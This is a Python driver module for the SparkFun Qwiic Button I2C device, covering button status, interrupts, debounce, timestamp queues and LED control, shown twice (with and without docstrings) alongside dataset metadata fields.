_AVAILABLE_I2C_ADDRESS.extend(_FULL_ADDRESS_LIST) # Add full range of I2C addresses # Define the class that encapsulates the device being created. All information associated # with this device is encapsulated by this class. The device class should be the only value # exported from this module. class QwiicButton(object): """" QwiicButton :param address: The I2C address to use for the device. If not provided, the default address is used. :param i2c_driver: An existing i2c driver object. If not provided a driver object is created. :return: The GPIO device object. :rtype: Object """ # Constructor device_name = _DEFAULT_NAME available_addresses = _AVAILABLE_I2C_ADDRESS # Device ID for all Qwiic Buttons DEV_ID = 0x5D # Registers ID = 0x00 FIRMWARE_MINOR = 0x01 FIRMWARE_MAJOR = 0x02 BUTTON_STATUS = 0x03 INTERRUPT_CONFIG = 0x04 BUTTON_DEBOUNCE_TIME = 0x05 PRESSED_QUEUE_STATUS = 0x07 PRESSED_QUEUE_FRONT = 0x08 PRESSED_QUEUE_BACK = 0x0C CLICKED_QUEUE_STATUS = 0x10 CLICKED_QUEUE_FRONT = 0x11 CLICKED_QUEUE_BACK = 0x15 LED_BRIGHTNESS = 0x19 LED_PULSE_GRANULARITY = 0x1A LED_PULSE_CYCLE_TIME = 0x1B LED_PULSE_OFF_TIME = 0x1D I2C_ADDRESS = 0x1F # Status Flags event_available = 0 has_been_clicked = 0 is_pressed = 0 # Interrupt Configuration Flags clicked_enable = 0 pressed_enable = 0 # Pressed Queue Status Flags pressed_pop_request = 0 pressed_is_empty = 0 pressed_is_full = 0 # Clicked Queue Status Flags clicked_pop_request = 0 clicked_is_empty = 0 clicked_is_full = 0 # Constructor def __init__(self, address=None, i2c_driver=None): # Did the user specify an I2C address? self.address = address if address != None else self.available_addresses[0] # Load the I2C driver if one isn't provided if i2c_driver == None: self._i2c = qwiic_i2c.getI2CDriver() if self._i2c == None: print("Unable to load I2C driver for this platform.") return else: self._i2c = i2c_driver # ----------------------------------------------- # is_connected() # # Is an actual board connected to our system? def is_connected(self): """ Determine if a Qwiic Button device is connected to the system. :return: True if the device is connected, otherwise False. :rtype: bool """ return qwiic_i2c.isDeviceConnected(self.address) # ------------------------------------------------ # begin() # # Initialize the system/validate the board. def begin(self): """ Initialize the operation of the Qwiic Button Run is_connected() and check the ID in the ID register :return: Returns true if the intialization was successful, otherwise False. :rtype: bool """ if self.is_connected() == True: id = self._i2c.readByte(self.address, self.ID) if id == self.DEV_ID: return True return False # ------------------------------------------------ # get_firmware_version() # # Returns the firmware version of the attached devie as a 16-bit integer. # The leftmost (high) byte is the major revision number, # and the rightmost (low) byte is the minor revision number. def get_firmware_version(self): """ Read the register and get the major and minor firmware version number. :return: 16 bytes version number :rtype: int """ version = self._i2c.readByte(self.address, self.FIRMWARE_MAJOR) << 8 version |= self._i2c.readByte(self.address, self.FIRMWARE_MINOR) return version # ------------------------------------------------- # set_I2C_address(new_address) # # Configures the attached device to attach to the I2C bus using the specified address def set_I2C_address(self, new_address): """ Change the I2C address of the Qwiic Button :param new_address: the new I2C address to set the Qwiic Button to The function itself checks if the entered parameter is a valid I2C address :return: True if the change was successful, false otherwise. :rtype: bool """ # First, check if the specified address is valid if new_address < 0x08 or new_address > 0x77: return False # Write new address to the I2C address register of the Qwiic Button self._i2c.writeByte(self.address, self.I2C_ADDRESS, new_address) self.address = new_address # --------------------------------------------------- # get_I2C_address() # # Returns the I2C address of the device def get_I2C_address(self): """ Returns the current I2C address of the Qwiic Button :return: current I2C address :rtype: int """ return self.address # --------------------------------------------------- # is_button_pressed() # # Returns 1 if the button/switch is pressed, 0 otherwise def is_button_pressed(self): """ Returns the value of the is_pressed status bit of the BUTTON_STATUS register :return: is_pressed bit :rtype: bool """ # Read the button status register button_status = self._i2c.readByte(self.address, self.BUTTON_STATUS) # Convert to binary and clear all bits but is_pressed self.is_pressed = int(button_status) & ~(0xFB) # Shift is_pressed to the zero bit self.is_pressed = self.is_pressed >> 2 # Return is_pressed as a bool return bool(self.is_pressed) # ---------------------------------------------------- # has_button_been_clicked() # # Returns 1 if the button/switch is clicked, and 0 otherwise def has_button_been_clicked(self): """ Returns the value of the has_been_clicked status bit of the BUTTON_STATUS register :return: has_been_clicked bit :rtype: bool """ # Read the button status register button_status = self._i2c.readByte(self.address, self.BUTTON_STATUS) # Convert to binary and clear all bits but has_been_clicked self.has_been_clicked = int(button_status) & ~(0xFD) # Shift has_been_clicked to the zero bit self.has_been_clicked = self.has_been_clicked >> 1 # Return has_been_clicked as a bool return bool(self.has_been_clicked) # ------------------------------------------------------ # get_debounce_time() # # Returns the time that the button waits for the mechanical # contacts to settle in milliseconds. def get_debounce_time(self): """ Returns the value in the BUTTON_DEBOUNCE_TIME register :return: debounce time in milliseconds :rtype: int """ time_list = self._i2c.readBlock(self.address, self.BUTTON_DEBOUNCE_TIME, 2) time = int(time_list[0]) + int(time_list[1]) * 16 ** (2) return time # ------------------------------------------------------- # set_debounce_time(time) # # Sets the time that the button waits for the mechanical # contacts to settle in milliseconds. def set_debounce_time(self, time): """ Write two bytes into the BUTTON_DEBOUNCE_TIME register :param time: the time in milliseconds to set debounce time to The max debounce time is 0xFFFF milliseconds, but the function checks if the entered parameter is valid :return: Nothing :rtype: void """ # First check that time is not too big if time > 0xFFFF: time = 0xFFFF time1 = time & ~(0xFF00) time2 = time & ~(0x00FF) time2 = time2 >> 8 time_list = [time1, time2] # Then write two bytes self._i2c.writeWord(self.address, self.BUTTON_DEBOUNCE_TIME, time) # ------------------------------------------------------- # enable_pressed_interrupt() # # The interrupt will be configured to trigger when the button # is pressed. If enableClickedInterrupt() has also been called, # then the interrupt will trigger on either a push or a click. def enable_pressed_interrupt(self): """ Set pressed_enable bit of the INTERRUPT_CONFIG register to a 1 :return: Nothing :rtype: Void """ # First, read the INTERRUPT_CONFIG register interrupt_config = self._i2c.readByte(self.address, self.INTERRUPT_CONFIG) self.pressed_enable = 1 # Set the pressed_enable bit interrupt_config = interrupt_config | (self.pressed_enable << 1) # Write the new interrupt configure byte self._i2c.writeByte(self.address, self.INTERRUPT_CONFIG, interrupt_config) # ------------------------------------------------------- # disable_pressed_interrupt() # # Interrupt will no longer be configured to trigger when the # button is pressed. If enable_clicked_interrupt() has also been called, # then the interrupt will still trigger on the button click. def disable_pressed_interrupt(self): """ Clear the pressed_enable bit of the INTERRUPT_CONFIG register :return: Nothing :rtype: Void """ # First, read the INTERRUPT_CONFIG register interrupt_config = self._i2c.readByte(self.address, self.INTERRUPT_CONFIG) self.pressed_enable = 0 # Clear the pressed_enable bit interrupt_config = interrupt_config & ~(1 << 1) # Write the new interrupt configure byte self._i2c.writeByte(self.address, self.INTERRUPT_CONFIG, interrupt_config) # ------------------------------------------------------- # enable_clicked_interrupt() # # The interrupt will be configured to trigger when the button # is clicked. If enable_pressed_interrupt() has also been called, # then the interrupt will trigger on either a push or a click. def enable_clicked_interrupt(self): """ Set the clicked_enable bit of the INTERRUPT_CONFIG register :return: Nothing :rtype: Void """ # First, read the INTERRUPT_CONFIG register interrupt_config = self._i2c.readByte(self.address, self.INTERRUPT_CONFIG) self.clicked_enable = 1 # Set the clicked_enable bit interrupt_config = interrupt_config | self.clicked_enable # Write the new interrupt configure byte self._i2c.writeByte(self.address, self.INTERRUPT_CONFIG, interrupt_config) # ------------------------------------------------------- # disable_clicked_interrupt() # # The interrupt will no longer be configured to trigger when # the button is clicked. If enable_pressed_interrupt() has also # been called, then the interrupt will still trigger on the # button press. def disable_clicked_interrupt(self): """ Clear the clicked_enable bit of the INTERRUPT_CONFIG register :return: Nothing :rtype: Void """ # First, read the INTERRUPT_CONFIG register interrupt_config = self._i2c.readByte(self.address, self.INTERRUPT_CONFIG) self.clicked_enable = 0 # Clear the clicked_enable bit interrupt_config = interrupt_config & (self.clicked_enable) # Write the new interrupt configure byte self._i2c.writeByte(self.address, self.INTERRUPT_CONFIG, interrupt_config) # ------------------------------------------------------- # available() # # Returns the eventAvailble bit. This bit is set to 1 if a # button click or press event occurred. def available(self): """ Return the event_available bit of the BUTTON_STATUS register :return: event_available bit :rtye: bool """ # First, read BUTTON_STATUS register button_status = self._i2c.readByte(self.address, self.BUTTON_STATUS) # Convert to binary and clear all bits but the event_available bit self.event_available = int(button_status) & ~(0xFE) # Return event_available bit as a bool return bool(self.event_available) # ------------------------------------------------------- # clear_event_bits() # # Sets all button status bits (is_pressed, has_been_clicked, # and event_available) to zero. def clear_event_bits(self): """ Clear the is_pressed, has_been_clicked, and event_available bits of the BUTTON_STATUS register :return: Nothing :rtype: Void """ # First, read BUTTON_STATUS register button_status = self._i2c.readByte(self.address, self.BUTTON_STATUS) # Convert to binary and clear the last three bits button_status = int(button_status) & ~(0x7) # Write to BUTTON_STATUS register self._i2c.writeByte(self.address, self.BUTTON_STATUS, button_status) # ------------------------------------------------------- # reset_interrupt_config() # # Resets the interrupt configuration back to defaults. def reset_interrupt_config(self): """ Enable pressed and clicked interrupts and clear the event_available bit of BUTTON_STATUS register :return: Nothing :rtype: Void """ self.pressed_enable = 1 self.clicked_enable = 1 # write 0b11 to the INTERRUPT_CONFIG register self._i2c.writeByte(self.address, self.INTERRUPT_CONFIG, 0b11) self.event_available = 0 # Clear has_been_clicked, is_pressed too # TODO: not sure if this is right self.has_been_clicked = 0 self.is_pressed = 0 # Clear the BUTTON_STATUS register by writing a 0 self._i2c.writeByte(self.address, self.BUTTON_STATUS, 0x00) # ------------------------------------------------------- # is_pressed_queue_full() # # Returns true if queue of button press time stamps is full, # and false otherwise. def is_pressed_queue_full(self): """ Returns the is_full bit of the PRESSED_QUEUE_STATUS register :return: pressed_is_full :rtype: bool """ # First, read the PRESSED_QUEUE_STATUS register pressed_queue_stat = self._i2c.readByte(self.address, self.PRESSED_QUEUE_STATUS) # Convert to binary and clear all bits but isFull self.pressed_is_full = int(pressed_queue_stat) & ~(0xFB) self.pressed_is_full = self.pressed_is_full >> 2 # Return pressed_is_full as a bool return bool(self.pressed_is_full) # ------------------------------------------------------- # is_pressed_queue_empty() # # Returns true if the queue of button press time stamps is # empty, and false otherwise. def is_pressed_queue_empty(self): """ Returns the is_empty bit of the PRESSED_QUEUE_STATUS register :return: pressed_is_empty :rtype: bool """ # First, read the PRESSED_QUEUE_STATUS register pressed_queue_stat = self._i2c.readByte(self.address, self.PRESSED_QUEUE_STATUS) # Convert to binary and clear all bits but is_empty self.pressed_is_empty = int(pressed_queue_stat) & ~(0xFD) # Shift pressed_is_empty to the zero bit self.pressed_is_empty = self.pressed_is_empty >> 1 # Return pressed_is_empty as a bool return bool(self.pressed_is_empty) # ------------------------------------------------------ # time_since_last_press() # # Returns how many milliseconds it has been since the last # button press. Since this returns a 32-bit int, it will # roll over about every 50 days. def time_since_last_press(self): """ Returns the four bytes of PRESSED_QUEUE_FRONT. Time in milliseconds. :return: PRESSED_QUEUE_FRONT :rtype: int """ time_list = self._i2c.readBlock(self.address, self.PRESSED_QUEUE_FRONT, 4) time = int(time_list[0]) + int(time_list[1]) * 16 ** (2) + int(time_list[2]) * 16 ** (4) + int(time_list[3]) * 16 ** (6) return time # ------------------------------------------------------- # time_since_first_press() # # Returns how many milliseconds it has been since the first # button press. Since this returns a 32-bit int, it will # roll over about every 50 days. def time_since_first_press(self): """ Returns the four bytes of PRESSED_QUEUE_BACK. Time in milliseconds :return: PRESSED_QUEUE_BACK :rtype: int """ time_list = self._i2c.readBlock(self.address, self.PRESSED_QUEUE_BACK, 4) time = int(time_list[0]) + int(time_list[1]) * 16 ** (2) + int(time_list[2]) * 16 ** (4) + int(time_list[3]) * 16 ** (6) return time # ------------------------------------------------------- # pop_pressed_queue() # # Returns the oldest value in the queue (milliseconds since # first button press), and then removes it. def pop_pressed_queue(self): """ Returns contents of PRESSED_QUEUE_BACK register and writes a 1 to popRequest bit of PRESSED_QUEUE_STATUS register. :return: PRESSED_QUEUE_BACK :rtype: int """ # Get the time in milliseconds since the button was first pressed temp_data = self.time_since_first_press() # Read PRESSED_QUEUE_STATUS register pressed_queue_stat = self._i2c.readByte(self.address, self.PRESSED_QUEUE_STATUS) self.pressed_pop_request = 1 # Set pop_request bit to 1 pressed_queue_stat = pressed_queue_stat | (self.pressed_pop_request) self._i2c.writeByte(self.address, self.PRESSED_QUEUE_STATUS, pressed_queue_stat) return temp_data # --------------------------------------------------------- # is_clicked_queue_full() # # Returns true if the queue of button click timestamps is full # and false otherwise. def is_clicked_queue_full(self): """ Reads the is_full bit of the CLICKED_QUEUE_STATUS register :return: clicked_is_full :rtype: bool """ # First, read the CLICKED_QUEUE_STATUS register clicked_queue_stat = self._i2c.readByte(self.address, self.CLICKED_QUEUE_STATUS) # Convert to binary and clear all bits but clicked_is_full self.clicked_is_full = int(clicked_queue_stat) & ~(0xFB) self.clicked_is_full = self.clicked_is_full >> 2 # Return clicked_is_full as a bool return bool(self.clicked_is_full) # ---------------------------------------------------------- # is_clicked_queue_empty() # # Returns true if the queue click timestamps is empty and false # otherwise. def is_clicked_queue_empty(self): """ Reads the is_empty bit of the CLICKED_QUEUE_STATUS register :return: clicked_is_empty :rtype: bool """ # First, read the CLICKED_QUEUE_STATUS register clicked_queue_stat = self._i2c.readByte(self.address, self.CLICKED_QUEUE_STATUS) # Convert to binary and clear all bits but clicked_is_empty self.clicked_is_empty = int(clicked_queue_stat) & ~(0xFD) # Shift clicked_is_empty to the zero bit self.clicked_is_empty = self.clicked_is_empty >> 1 # Return clicked_is_empty as a bool return bool(self.clicked_is_empty) # ------------------------------------------------------------ # time_since_last_click() # # Returns how many milliseconds it has been since the last button # click. Since this returns a 32-bit int, it will roll over about # every 50 days def time_since_last_click(self): """ Returns the four bytes of CLICKED_QUEUE_FRONT register. Time in milliseconds :return: CLICKED_QUEUE_FRONT :rtype: int """ time_list = self._i2c.readBlock(self.address, self.CLICKED_QUEUE_FRONT, 4) time = int(time_list[0]) + int(time_list[1]) * 16 ** (2) + int(time_list[2]) * 16 ** (4) + int(time_list[3]) * 16 ** (6) return time # ------------------------------------------------------------ # time_since_first_click() # # Returns how many milliseconds it has been since the first button # click. Since this returns a 32-bit int, it will roll over about # every 50 days def time_since_first_click(self): """ Returns the four bytes of CLICKED_QUEUE_BACK register. Time in milliseconds :return: CLICKED_QUEUE_BACK :rtype: int """ time_list = self._i2c.readBlock(self.address, self.CLICKED_QUEUE_BACK, 4) time = int(time_list[0]) + int(time_list[1]) * 16 ** (2) + int(time_list[2]) * 16 ** (4) + int(time_list[3]) * 16 ** (6) return time # ------------------------------------------------------------- # pop_clicked_queue() # # Returns the oldest value in the queue (milliseconds since first # button click), and then removes it. def pop_clicked_queue(self): """ Returns contents of CLICKED_QUEUE_BACK register and writes a 1 to popRequest bit of CLICKED_QUEUE_STATUS register. :return: CLICKED_QUEUE_BACK :rtype: int """ # Get the time in milliseconds since the button was first clicked temp_data = self.time_since_first_click() # Read CLICKED_QUEUE_STATUS register clicked_queue_stat = self._i2c.readByte(self.address, self.CLICKED_QUEUE_STATUS) self.clicked_pop_request = 1 # Set pop_request bit to 1 clicked_queue_stat = clicked_queue_stat | (self.clicked_pop_request) self._i2c.writeByte(self.address, self.CLICKED_QUEUE_STATUS, clicked_queue_stat) return temp_data # ------------------------------------------------------------- # LED_config(brightness, cycle_time, off_time, granularity) # # Configures the LED with the given max brightness, granularity # (1 is fine for most applications), cycle time, and off time. def LED_config(self, brightness, cycle_time, off_time, granularity = 1): """ Write brightness, cycle_time, off_time, and granularity parameters to their respective registers: LED_BRIGHTNESS, LED_PULSE_CYCLE_TIME, LED_PULSE_OFF_TIME, LED_PULSE_GRANULARITY :param brightness: between 0 (led off) and 255 (max brightness) :param cycle_time: total pulse cycle in in milliseconds Range 0 to 0xFFFF :param off_time: off time between pulses in milliseconds Range 0 to 0xFFFF :param granularity: the amount of steps it takes to get to led brightness If not provided, granularity defaults to 1 :return: Nothing :rtype: Void """ # Write brightness self._i2c.writeByte(self.address, self.LED_BRIGHTNESS, brightness) # Write cycle_time self._i2c.writeWord(self.address, self.LED_PULSE_CYCLE_TIME, cycle_time) # Write off_time self._i2c.writeWord(self.address, self.LED_PULSE_OFF_TIME, off_time) # Write granularity self._i2c.writeByte(self.address, self.LED_PULSE_GRANULARITY, granularity) # -------------------------------------------------------------- # LED_off() # # Turn the onboard LED off def LED_off(self): """ Write zero's to all the LED registers: LED_BRIGHTNESS, LED_PULSE_CYCLE_TIME, LED_PULSE_OFF_TIME, and LED_PULSE_GRANULARITY defaults to zero. :return: Nothing :rtype: void """ self.LED_config(0, 0, 0) # -------------------------------------------------------------- # LED_on(brightness) # # Turns the onboard LED on with specified brightness. Set brightness # to an integer between 0 and 255, where 0 is off and 255 is max # brightness. def LED_on(self, brightness): """ Set LED on without pulse :param brightness: between 0 (led off) and 255 (max brightness) :return: Nothing :rtype: Void """ self.LED_config(brightness, 0, 0)

39.279391

153

0.601535

import math import qwiic_i2c _DEFAULT_NAME = "Qwiic Button" _QWIIC_BUTTON_DEFAULT_ADDRESS = 0x6F _FULL_ADDRESS_LIST = list(range(0x08, 0x77+1)) _FULL_ADDRESS_LIST.remove(_QWIIC_BUTTON_DEFAULT_ADDRESS >> 1) _AVAILABLE_I2C_ADDRESS = [_QWIIC_BUTTON_DEFAULT_ADDRESS] _AVAILABLE_I2C_ADDRESS.extend(_FULL_ADDRESS_LIST) class QwiicButton(object): device_name = _DEFAULT_NAME available_addresses = _AVAILABLE_I2C_ADDRESS DEV_ID = 0x5D ID = 0x00 FIRMWARE_MINOR = 0x01 FIRMWARE_MAJOR = 0x02 BUTTON_STATUS = 0x03 INTERRUPT_CONFIG = 0x04 BUTTON_DEBOUNCE_TIME = 0x05 PRESSED_QUEUE_STATUS = 0x07 PRESSED_QUEUE_FRONT = 0x08 PRESSED_QUEUE_BACK = 0x0C CLICKED_QUEUE_STATUS = 0x10 CLICKED_QUEUE_FRONT = 0x11 CLICKED_QUEUE_BACK = 0x15 LED_BRIGHTNESS = 0x19 LED_PULSE_GRANULARITY = 0x1A LED_PULSE_CYCLE_TIME = 0x1B LED_PULSE_OFF_TIME = 0x1D I2C_ADDRESS = 0x1F event_available = 0 has_been_clicked = 0 is_pressed = 0 clicked_enable = 0 pressed_enable = 0 pressed_pop_request = 0 pressed_is_empty = 0 pressed_is_full = 0 clicked_pop_request = 0 clicked_is_empty = 0 clicked_is_full = 0 def __init__(self, address=None, i2c_driver=None): self.address = address if address != None else self.available_addresses[0] if i2c_driver == None: self._i2c = qwiic_i2c.getI2CDriver() if self._i2c == None: print("Unable to load I2C driver for this platform.") return else: self._i2c = i2c_driver # ----------------------------------------------- # is_connected() # # Is an actual board connected to our system? def is_connected(self): return qwiic_i2c.isDeviceConnected(self.address) # ------------------------------------------------ # begin() # # Initialize the system/validate the board. def begin(self): if self.is_connected() == True: id = self._i2c.readByte(self.address, self.ID) if id == self.DEV_ID: return True return False # ------------------------------------------------ # get_firmware_version() # # Returns the firmware version of the attached devie as a 16-bit integer. # The leftmost (high) byte is the major revision number, # and the rightmost (low) byte is the minor revision number. def get_firmware_version(self): version = self._i2c.readByte(self.address, self.FIRMWARE_MAJOR) << 8 version |= self._i2c.readByte(self.address, self.FIRMWARE_MINOR) return version # ------------------------------------------------- # set_I2C_address(new_address) # # Configures the attached device to attach to the I2C bus using the specified address def set_I2C_address(self, new_address): # First, check if the specified address is valid if new_address < 0x08 or new_address > 0x77: return False # Write new address to the I2C address register of the Qwiic Button self._i2c.writeByte(self.address, self.I2C_ADDRESS, new_address) self.address = new_address # --------------------------------------------------- # get_I2C_address() # # Returns the I2C address of the device def get_I2C_address(self): return self.address # --------------------------------------------------- # is_button_pressed() # # Returns 1 if the button/switch is pressed, 0 otherwise def is_button_pressed(self): # Read the button status register button_status = self._i2c.readByte(self.address, self.BUTTON_STATUS) # Convert to binary and clear all bits but is_pressed self.is_pressed = int(button_status) & ~(0xFB) # Shift is_pressed to the zero bit self.is_pressed = self.is_pressed >> 2 # Return is_pressed as a bool return bool(self.is_pressed) # ---------------------------------------------------- # has_button_been_clicked() # # Returns 1 if the button/switch is clicked, and 0 otherwise def has_button_been_clicked(self): # Read the button status register button_status = self._i2c.readByte(self.address, self.BUTTON_STATUS) # Convert to binary and clear all bits but has_been_clicked self.has_been_clicked = int(button_status) & ~(0xFD) # Shift has_been_clicked to the zero bit self.has_been_clicked = self.has_been_clicked >> 1 # Return has_been_clicked as a bool return bool(self.has_been_clicked) # ------------------------------------------------------ # get_debounce_time() # # Returns the time that the button waits for the mechanical # contacts to settle in milliseconds. def get_debounce_time(self): time_list = self._i2c.readBlock(self.address, self.BUTTON_DEBOUNCE_TIME, 2) time = int(time_list[0]) + int(time_list[1]) * 16 ** (2) return time # ------------------------------------------------------- # set_debounce_time(time) # # Sets the time that the button waits for the mechanical # contacts to settle in milliseconds. def set_debounce_time(self, time): # First check that time is not too big if time > 0xFFFF: time = 0xFFFF time1 = time & ~(0xFF00) time2 = time & ~(0x00FF) time2 = time2 >> 8 time_list = [time1, time2] # Then write two bytes self._i2c.writeWord(self.address, self.BUTTON_DEBOUNCE_TIME, time) # ------------------------------------------------------- # enable_pressed_interrupt() # # The interrupt will be configured to trigger when the button # is pressed. If enableClickedInterrupt() has also been called, # then the interrupt will trigger on either a push or a click. def enable_pressed_interrupt(self): # First, read the INTERRUPT_CONFIG register interrupt_config = self._i2c.readByte(self.address, self.INTERRUPT_CONFIG) self.pressed_enable = 1 # Set the pressed_enable bit interrupt_config = interrupt_config | (self.pressed_enable << 1) # Write the new interrupt configure byte self._i2c.writeByte(self.address, self.INTERRUPT_CONFIG, interrupt_config) # ------------------------------------------------------- # disable_pressed_interrupt() # # Interrupt will no longer be configured to trigger when the # button is pressed. If enable_clicked_interrupt() has also been called, # then the interrupt will still trigger on the button click. def disable_pressed_interrupt(self): # First, read the INTERRUPT_CONFIG register interrupt_config = self._i2c.readByte(self.address, self.INTERRUPT_CONFIG) self.pressed_enable = 0 # Clear the pressed_enable bit interrupt_config = interrupt_config & ~(1 << 1) # Write the new interrupt configure byte self._i2c.writeByte(self.address, self.INTERRUPT_CONFIG, interrupt_config) # ------------------------------------------------------- # enable_clicked_interrupt() # # The interrupt will be configured to trigger when the button # is clicked. If enable_pressed_interrupt() has also been called, # then the interrupt will trigger on either a push or a click. def enable_clicked_interrupt(self): # First, read the INTERRUPT_CONFIG register interrupt_config = self._i2c.readByte(self.address, self.INTERRUPT_CONFIG) self.clicked_enable = 1 # Set the clicked_enable bit interrupt_config = interrupt_config | self.clicked_enable # Write the new interrupt configure byte self._i2c.writeByte(self.address, self.INTERRUPT_CONFIG, interrupt_config) # ------------------------------------------------------- # disable_clicked_interrupt() # # The interrupt will no longer be configured to trigger when # the button is clicked. If enable_pressed_interrupt() has also # been called, then the interrupt will still trigger on the # button press. def disable_clicked_interrupt(self): # First, read the INTERRUPT_CONFIG register interrupt_config = self._i2c.readByte(self.address, self.INTERRUPT_CONFIG) self.clicked_enable = 0 # Clear the clicked_enable bit interrupt_config = interrupt_config & (self.clicked_enable) # Write the new interrupt configure byte self._i2c.writeByte(self.address, self.INTERRUPT_CONFIG, interrupt_config) # ------------------------------------------------------- # available() # # Returns the eventAvailble bit. This bit is set to 1 if a # button click or press event occurred. def available(self): # First, read BUTTON_STATUS register button_status = self._i2c.readByte(self.address, self.BUTTON_STATUS) # Convert to binary and clear all bits but the event_available bit self.event_available = int(button_status) & ~(0xFE) # Return event_available bit as a bool return bool(self.event_available) # ------------------------------------------------------- # clear_event_bits() # # Sets all button status bits (is_pressed, has_been_clicked, # and event_available) to zero. def clear_event_bits(self): # First, read BUTTON_STATUS register button_status = self._i2c.readByte(self.address, self.BUTTON_STATUS) # Convert to binary and clear the last three bits button_status = int(button_status) & ~(0x7) # Write to BUTTON_STATUS register self._i2c.writeByte(self.address, self.BUTTON_STATUS, button_status) # ------------------------------------------------------- # reset_interrupt_config() # # Resets the interrupt configuration back to defaults. def reset_interrupt_config(self): self.pressed_enable = 1 self.clicked_enable = 1 # write 0b11 to the INTERRUPT_CONFIG register self._i2c.writeByte(self.address, self.INTERRUPT_CONFIG, 0b11) self.event_available = 0 # Clear has_been_clicked, is_pressed too # TODO: not sure if this is right self.has_been_clicked = 0 self.is_pressed = 0 # Clear the BUTTON_STATUS register by writing a 0 self._i2c.writeByte(self.address, self.BUTTON_STATUS, 0x00) # ------------------------------------------------------- # is_pressed_queue_full() # # Returns true if queue of button press time stamps is full, # and false otherwise. def is_pressed_queue_full(self): # First, read the PRESSED_QUEUE_STATUS register pressed_queue_stat = self._i2c.readByte(self.address, self.PRESSED_QUEUE_STATUS) # Convert to binary and clear all bits but isFull self.pressed_is_full = int(pressed_queue_stat) & ~(0xFB) self.pressed_is_full = self.pressed_is_full >> 2 # Return pressed_is_full as a bool return bool(self.pressed_is_full) # ------------------------------------------------------- # is_pressed_queue_empty() # # Returns true if the queue of button press time stamps is # empty, and false otherwise. def is_pressed_queue_empty(self): # First, read the PRESSED_QUEUE_STATUS register pressed_queue_stat = self._i2c.readByte(self.address, self.PRESSED_QUEUE_STATUS) # Convert to binary and clear all bits but is_empty self.pressed_is_empty = int(pressed_queue_stat) & ~(0xFD) # Shift pressed_is_empty to the zero bit self.pressed_is_empty = self.pressed_is_empty >> 1 # Return pressed_is_empty as a bool return bool(self.pressed_is_empty) # ------------------------------------------------------ # time_since_last_press() # # Returns how many milliseconds it has been since the last # button press. Since this returns a 32-bit int, it will # roll over about every 50 days. def time_since_last_press(self): time_list = self._i2c.readBlock(self.address, self.PRESSED_QUEUE_FRONT, 4) time = int(time_list[0]) + int(time_list[1]) * 16 ** (2) + int(time_list[2]) * 16 ** (4) + int(time_list[3]) * 16 ** (6) return time # ------------------------------------------------------- # time_since_first_press() # # Returns how many milliseconds it has been since the first # button press. Since this returns a 32-bit int, it will # roll over about every 50 days. def time_since_first_press(self): time_list = self._i2c.readBlock(self.address, self.PRESSED_QUEUE_BACK, 4) time = int(time_list[0]) + int(time_list[1]) * 16 ** (2) + int(time_list[2]) * 16 ** (4) + int(time_list[3]) * 16 ** (6) return time # ------------------------------------------------------- # pop_pressed_queue() # # Returns the oldest value in the queue (milliseconds since # first button press), and then removes it. def pop_pressed_queue(self): # Get the time in milliseconds since the button was first pressed temp_data = self.time_since_first_press() # Read PRESSED_QUEUE_STATUS register pressed_queue_stat = self._i2c.readByte(self.address, self.PRESSED_QUEUE_STATUS) self.pressed_pop_request = 1 # Set pop_request bit to 1 pressed_queue_stat = pressed_queue_stat | (self.pressed_pop_request) self._i2c.writeByte(self.address, self.PRESSED_QUEUE_STATUS, pressed_queue_stat) return temp_data # --------------------------------------------------------- # is_clicked_queue_full() # # Returns true if the queue of button click timestamps is full # and false otherwise. def is_clicked_queue_full(self): # First, read the CLICKED_QUEUE_STATUS register clicked_queue_stat = self._i2c.readByte(self.address, self.CLICKED_QUEUE_STATUS) # Convert to binary and clear all bits but clicked_is_full self.clicked_is_full = int(clicked_queue_stat) & ~(0xFB) self.clicked_is_full = self.clicked_is_full >> 2 # Return clicked_is_full as a bool return bool(self.clicked_is_full) # ---------------------------------------------------------- # is_clicked_queue_empty() # # Returns true if the queue click timestamps is empty and false # otherwise. def is_clicked_queue_empty(self): # First, read the CLICKED_QUEUE_STATUS register clicked_queue_stat = self._i2c.readByte(self.address, self.CLICKED_QUEUE_STATUS) # Convert to binary and clear all bits but clicked_is_empty self.clicked_is_empty = int(clicked_queue_stat) & ~(0xFD) # Shift clicked_is_empty to the zero bit self.clicked_is_empty = self.clicked_is_empty >> 1 # Return clicked_is_empty as a bool return bool(self.clicked_is_empty) # ------------------------------------------------------------ # time_since_last_click() # # Returns how many milliseconds it has been since the last button # click. Since this returns a 32-bit int, it will roll over about # every 50 days def time_since_last_click(self): time_list = self._i2c.readBlock(self.address, self.CLICKED_QUEUE_FRONT, 4) time = int(time_list[0]) + int(time_list[1]) * 16 ** (2) + int(time_list[2]) * 16 ** (4) + int(time_list[3]) * 16 ** (6) return time # ------------------------------------------------------------ # time_since_first_click() # # Returns how many milliseconds it has been since the first button # click. Since this returns a 32-bit int, it will roll over about # every 50 days def time_since_first_click(self): time_list = self._i2c.readBlock(self.address, self.CLICKED_QUEUE_BACK, 4) time = int(time_list[0]) + int(time_list[1]) * 16 ** (2) + int(time_list[2]) * 16 ** (4) + int(time_list[3]) * 16 ** (6) return time # ------------------------------------------------------------- # pop_clicked_queue() # # Returns the oldest value in the queue (milliseconds since first # button click), and then removes it. def pop_clicked_queue(self): # Get the time in milliseconds since the button was first clicked temp_data = self.time_since_first_click() # Read CLICKED_QUEUE_STATUS register clicked_queue_stat = self._i2c.readByte(self.address, self.CLICKED_QUEUE_STATUS) self.clicked_pop_request = 1 # Set pop_request bit to 1 clicked_queue_stat = clicked_queue_stat | (self.clicked_pop_request) self._i2c.writeByte(self.address, self.CLICKED_QUEUE_STATUS, clicked_queue_stat) return temp_data # ------------------------------------------------------------- # LED_config(brightness, cycle_time, off_time, granularity) # # Configures the LED with the given max brightness, granularity # (1 is fine for most applications), cycle time, and off time. def LED_config(self, brightness, cycle_time, off_time, granularity = 1): # Write brightness self._i2c.writeByte(self.address, self.LED_BRIGHTNESS, brightness) # Write cycle_time self._i2c.writeWord(self.address, self.LED_PULSE_CYCLE_TIME, cycle_time) # Write off_time self._i2c.writeWord(self.address, self.LED_PULSE_OFF_TIME, off_time) # Write granularity self._i2c.writeByte(self.address, self.LED_PULSE_GRANULARITY, granularity) # -------------------------------------------------------------- # LED_off() # # Turn the onboard LED off def LED_off(self): self.LED_config(0, 0, 0) # -------------------------------------------------------------- # LED_on(brightness) # # Turns the onboard LED on with specified brightness. Set brightness # to an integer between 0 and 255, where 0 is off and 255 is max # brightness. def LED_on(self, brightness): self.LED_config(brightness, 0, 0)

true

1c421b356518bf4c59535b3263ca030af4edeada

3,562

py

Python

im2txt/train.py

iamdebanjangoswami/Image-Caption-IR--Im2txt

